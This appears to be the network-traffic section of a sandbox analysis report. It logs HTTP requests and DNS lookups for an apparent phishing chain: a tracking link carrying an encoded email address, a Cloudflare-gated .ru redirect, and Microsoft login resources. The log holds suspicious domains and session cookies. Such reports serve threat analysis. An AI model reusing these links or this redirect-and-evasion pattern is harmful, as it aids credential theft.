Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/b/e0c90b6a3ed1/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/fz20s/0x4AAAAAAA2JzGXKKKPcEUX8/auto/fbE/normal/auto/ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://bur.tabilicit.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=9000b10cedac7ca5&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/fz20s/0x4AAAAAAA2JzGXKKKPcEUX8/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/fz20s/0x4AAAAAAA2JzGXKKKPcEUX8/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: bur.tabilicit.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://bur.tabilicit.ru/HgSlh/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6InI4UEdnMDRsNjhrQTl6OFlVeDkyWkE9PSIsInZhbHVlIjoiWVlBcTROTVZrYXc2Rm45YkJNWDFVV2cyVEtNZk91TEtWRms3REJzOEVnSDNhM3dRVmNIa3U1dFY5bndNY2pSdWF6d2sraG83OXJxSkpReW5Jb1VIem9aaXFSclRTdExVTU04dkxXS0J5ZEJwOXRveGJKSGllbldBdVc4RnMwYlciLCJtYWMiOiJiNjZhOGQ5NzlhY2Y5MTEzZWNkOTNjOTM5OTMxODlkMzI5OTVlM2EzZTRhNTc0MjU3ZjE5MTMxMTRjM2Y1MTZjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6InNLRVMzR3ZtRWZJb1VycEJwV3haVGc9PSIsInZhbHVlIjoiS0w5d1A1VCtTK0xycDhqNzl5WXhveUlhSkJYZUNKNlQ3V3hDdU1VRUhoczhQR1U1bWtsVGZMTFN2Z2RBSHFKUVBHZWZYUllNRXFmZzhJWjMvcTh1S21xQ09PZFd5dW1adE11TFdLd25uY0wwZkY2MmJpS1JSS0hob1gxWkJ5Rm4iLCJtYWMiOiI0MTM4NGQxOTk3NjMxZDkxMzIzOTBkNzVkZDRhNzRjY2QxMjE1YTYwZDg5YmQzNWM5NWE3YWI2MmVlZmIzNWFkIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=9000b10cedac7ca5&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1921554275:1736550971:TnKaT0jV5lW68YgIRWBM59VimwZRNfMAiHkCbpeYMCA/9000b10cedac7ca5/QbZYUCWOFfMfFxI3Mt8G1cwyQLXSnKGTnakASwcg.JA-1736554308-1.1.1.1-VXNA4hLUU9q6KhuXHbb69OtNPBizZZ3ZliWAALbWqfVBqImc5bjGuYSCmFb_NI.u HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/pat/9000b10cedac7ca5/1736554310301/44fe8c38daed3b972ad9e29daba44355e592fed3f472668db9c0932367eb0b10/DMb4L7jWqBqxwiv HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveCache-Control: max-age=0sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/fz20s/0x4AAAAAAA2JzGXKKKPcEUX8/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/i/9000b10cedac7ca5/1736554310302/ptvNCVsTR_Rh4zI HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/fz20s/0x4AAAAAAA2JzGXKKKPcEUX8/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/i/9000b10cedac7ca5/1736554310302/ptvNCVsTR_Rh4zI HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1921554275:1736550971:TnKaT0jV5lW68YgIRWBM59VimwZRNfMAiHkCbpeYMCA/9000b10cedac7ca5/QbZYUCWOFfMfFxI3Mt8G1cwyQLXSnKGTnakASwcg.JA-1736554308-1.1.1.1-VXNA4hLUU9q6KhuXHbb69OtNPBizZZ3ZliWAALbWqfVBqImc5bjGuYSCmFb_NI.u HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/b/flow/ov1/1921554275:1736550971:TnKaT0jV5lW68YgIRWBM59VimwZRNfMAiHkCbpeYMCA/9000b10cedac7ca5/QbZYUCWOFfMfFxI3Mt8G1cwyQLXSnKGTnakASwcg.JA-1736554308-1.1.1.1-VXNA4hLUU9q6KhuXHbb69OtNPBizZZ3ZliWAALbWqfVBqImc5bjGuYSCmFb_NI.u HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /9298868286056926937588463tlEmiGWfQZUSAOXXRMJCPEKGPDRWWMJLCSMZXLWIHLOVPCGCHROCWY HTTP/1.1Host: hsfwwhjaxkf3tk1j4piuntasocghl6oprwpy8ksuu5fw9tgqvjbpgv6tsppp.concivergo.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://bur.tabilicit.ruSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://bur.tabilicit.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /9298868286056926937588463tlEmiGWfQZUSAOXXRMJCPEKGPDRWWMJLCSMZXLWIHLOVPCGCHROCWY HTTP/1.1Host: hsfwwhjaxkf3tk1j4piuntasocghl6oprwpy8ksuu5fw9tgqvjbpgv6tsppp.concivergo.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/5/js/signup-fabric_en_RLki-zAPnyCeesn3sU68Xw2.js HTTP/1.1Host: logincdn.msftauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://signup.live.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://signup.live.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/5/js/signup-fabric_en_RLki-zAPnyCeesn3sU68Xw2.js HTTP/1.1Host: logincdn.msftauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/5/chunks/oneds-analytics-js_077217740c853b5d4fe8.js HTTP/1.1Host: logincdn.msftauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://signup.live.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://signup.live.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/5/images/microsoft_logo_ee5c8d9fb6248c938fd0.svg HTTP/1.1Host: logincdn.msftauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://signup.live.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/5/images/2_bc3d32a696895f78c19d.svg HTTP/1.1Host: logincdn.msftauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://signup.live.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/5/images/microsoft_logo_ee5c8d9fb6248c938fd0.svg HTTP/1.1Host: logincdn.msftauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/5/images/2_bc3d32a696895f78c19d.svg HTTP/1.1Host: logincdn.msftauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/5/chunks/oneds-analytics-js_077217740c853b5d4fe8.js HTTP/1.1Host: logincdn.msftauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ns?c=ec8fb750-cfb0-11ef-abf3-b915b54bbe61 HTTP/1.1Host: stk.hsprotect.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Origin: https://msft.hsprotect.netSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://msft.hsprotect.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/v2/msft HTTP/1.1Host: collector-pxzc5j78di.hsprotect.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ns?c=ec8fb750-cfb0-11ef-abf3-b915b54bbe61 HTTP/1.1Host: stk.hsprotect.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /api/v2/msft HTTP/1.1Host: collector-pxzc5j78di.hsprotect.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ck/bd/%7BRANDOM_NUMBER05%7D/YmVuc29uLmxpbkB2aGFjb3JwLmNvbQ== HTTP/1.1Host: unikuesolutions.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: unikuesolutions.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Referer: http://unikuesolutions.com/ck/bd/%7BRANDOM_NUMBER05%7D/YmVuc29uLmxpbkB2aGFjb3JwLmNvbQ==Accept-Encoding: gzip, deflateAccept-Language: en-US,en;q=0.9

Source: global traffic	DNS traffic detected: DNS query: unikuesolutions.com
Source: global traffic	DNS traffic detected: DNS query: bur.tabilicit.ru
Source: global traffic	DNS traffic detected: DNS query: code.jquery.com
Source: global traffic	DNS traffic detected: DNS query: challenges.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global traffic	DNS traffic detected: DNS query: hsfwwhjaxkf3tk1j4piuntasocghl6oprwpy8ksuu5fw9tgqvjbpgv6tsppp.concivergo.ru
Source: global traffic	DNS traffic detected: DNS query: login.microsoftonline.com
Source: global traffic	DNS traffic detected: DNS query: www.office.com
Source: global traffic	DNS traffic detected: DNS query: identity.nel.measure.office.net
Source: global traffic	DNS traffic detected: DNS query: aadcdn.msftauth.net
Source: global traffic	DNS traffic detected: DNS query: signup.live.com
Source: global traffic	DNS traffic detected: DNS query: logincdn.msftauth.net
Source: global traffic	DNS traffic detected: DNS query: js.monitor.azure.com
Source: global traffic	DNS traffic detected: DNS query: fpt.live.com
Source: global traffic	DNS traffic detected: DNS query: msft.hsprotect.net
Source: global traffic	DNS traffic detected: DNS query: client.hsprotect.net
Source: global traffic	DNS traffic detected: DNS query: stk.hsprotect.net
Source: global traffic	DNS traffic detected: DNS query: collector-pxzc5j78di.hsprotect.net

Source: unknown

HTTP traffic detected: POST /cdn-cgi/challenge-platform/h/b/flow/ov1/1921554275:1736550971:TnKaT0jV5lW68YgIRWBM59VimwZRNfMAiHkCbpeYMCA/9000b10cedac7ca5/QbZYUCWOFfMfFxI3Mt8G1cwyQLXSnKGTnakASwcg.JA-1736554308-1.1.1.1-VXNA4hLUU9q6KhuXHbb69OtNPBizZZ3ZliWAALbWqfVBqImc5bjGuYSCmFb_NI.u HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveContent-Length: 3192sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Content-type: application/x-www-form-urlencodedCF-Chl-RetryAttempt: 0sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36CF-Challenge: QbZYUCWOFfMfFxI3Mt8G1cwyQLXSnKGTnakASwcg.JA-1736554308-1.1.1.1-VXNA4hLUU9q6KhuXHbb69OtNPBizZZ3ZliWAALbWqfVBqImc5bjGuYSCmFb_NI.usec-ch-ua-platform: "Windows"Accept: */*Origin: https://challenges.cloudflare.comSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/fz20s/0x4AAAAAAA2JzGXKKKPcEUX8/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 11 Jan 2025 00:11:49 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeCache-Control: max-age=14400Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=L%2FaRlf62X74v9lF0OkU%2BPVcHxn6KEH1O8aIcTT49HGoHewrL02OLFRw1W1gsccQte1N0fxVoFV5cIwAuLV62CBcovMS8tFfVkp8BQ1KhSc2d1YM04xkjmY%2FsxNk5jg%3D%3D"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Vary: Accept-Encodingalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=1361&min_rtt=1310&rtt_var=528&sent=4&recv=7&lost=0&retrans=0&sent_bytes=2823&recv_bytes=2118&delivery_rate=2174045&cwnd=238&unsent_bytes=0&cid=2c2febbfef84f6ed&ts=407&x=0"CF-Cache-Status: HITAge: 1428Server: cloudflareCF-RAY: 9000b11389e18ce9-EWRserver-timing: cfL4;desc="?proto=TCP&rtt=2039&min_rtt=2033&rtt_var=774&sent=7&recv=8&lost=0&retrans=0&sent_bytes=2829&recv_bytes=1895&delivery_rate=1402497&cwnd=231&unsent_bytes=0&cid=d39624145e6bb158&ts=3820&x=0"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 11 Jan 2025 00:11:54 GMTContent-Type: application/jsonContent-Length: 7Connection: closecf-chl-out: T/wWTw/21CuA3lLUZSXCug==$xOAG+vCpgBet8RP8NXeI8w==cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0Server: cloudflareCF-RAY: 9000b13038b46a59-EWRalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 11 Jan 2025 00:12:47 GMTContent-Type: application/jsonContent-Length: 7Connection: closecf-chl-out: mf4nZNfw2/BByw2mcl4grg==$EXd6PKr2HCm0XOm/0U4XSg==cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0Server: cloudflareCF-RAY: 9000b27d6a018ce3-EWRalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 11 Jan 2025 00:11:44 GMTServer: ApacheContent-Length: 315Keep-Alive: timeout=5, max=99Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Source: chromecache_140.1.dr	String found in binary or memory: https://client.hsprotect.net/PXzC5j78di/main.min.js
Source: chromecache_122.1.dr	String found in binary or memory: https://fpt.live.com/
Source: chromecache_108.1.dr, chromecache_96.1.dr	String found in binary or memory: https://login.microsoftonline.com
Source: chromecache_108.1.dr, chromecache_96.1.dr	String found in binary or memory: https://login.windows-ppe.net

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
